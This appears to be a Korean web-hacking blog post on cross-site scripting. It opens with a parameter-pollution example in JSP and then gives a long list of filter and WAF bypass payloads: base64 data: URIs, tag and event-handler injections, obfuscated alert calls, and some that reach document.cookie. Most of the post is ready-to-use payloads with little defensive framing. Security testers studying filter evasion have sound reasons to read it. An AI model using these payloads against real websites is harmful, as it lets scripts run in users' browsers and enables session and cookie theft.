HTTP 매개변수 오염을 통한 XSS
- 아래는 content_type 매개변수 URL 인코딩 없이 사용되어 매개변수 오염이 발생한 경우
- content_type 매개변수는 URL 인코딩 없이 사용되어 매개변수 오염이 발생.
- content_type에 악성 스크립트를 삽입하여 XSS를 우회 가능.
<a href="/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share</a>
- 공유 페이지에서의 JavaScript 코드
<script>
var contentType = <%=Request.getParameter("content_type")%>;
var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
...
</script>
- 공격 시 URL
- 공격자가 title 파라미터에 악성 스크립트를 삽입하여 링크를 공유
<a href="/share?content_type=1&title=This is a regular title&content_type=1;alert(1)">Share</a>
- 공유 페이지에서 발생한 XSS
- 공유 페이지의 출력에서 content_type 값이 1;alert(1)로 되어 스크립트가 실행됨.
<script>
var contentType = 1; alert(1);
var title = "This is a regular title";
...
</script>
문자 이스케이프 시퀀스
- HTML과 JavaScript에서 문자 < 의 모든 가능한 조합이다.
- 이 중 대부분은 바로 렌더링되지 않지만, 특정 상황에서 렌더링 될 수 있는 것이 많다.
|
|
|
|
|
|
|
WAF 우회 방법
URI(Data URL Scheme)
- data: 스키마는 브라우저에서 데이터를 직접 URL로 지정하여 처리할 수 있도록 하는 데이터 URI(Data URL Scheme)
data:[<MIME 유형>][;base64],<데이터>
|
- 브라우저는 data: URL을 해석하여 text/html MIME 타입으로 실행.
- Base64로 인코딩된 데이터를 디코딩하여 HTML 페이지로 렌더링.
- <script>alert('XSS')</script>가 실행되며 **XSS(Alert 창 실행)**이 발생.
<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=>
HTML 태그를 활용한 우회
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window/src="data:text/html,<svg onload=alert(1)>">
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script>
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X</a>
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
이벤트 핸들러를 활용한 우회 (OnMouseOver, OnError 등)
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript:alert(1)>CLICKME</form>
<input/onmouseover="javaSCRIPT:confirm(1)">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
alert 함수 필터 우회
- 'alert(' 문자열을 필터링하는 경우
(alert)(1);
a = alert; a(1);
[1].find(alert);
- 'alert' 문자열을 필터링하는 경우
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
- 백틱 사용
``${alert``}``
|
'웹 해킹 > 실무' 카테고리의 다른 글
버프 스위트(Burp Suite Pro) Collaborator 사용법 (XSS) (0) | 2025.03.31 |
---|---|
XSS 필터링 우회3 (0) | 2025.03.10 |
XSS 필터링 우회2 (0) | 2025.03.10 |
XSS 필터링 우회 (0) | 2025.03.07 |
[웹해킹] Blind SQL 인젝션 자동화 도구 (python) (0) | 2024.09.03 |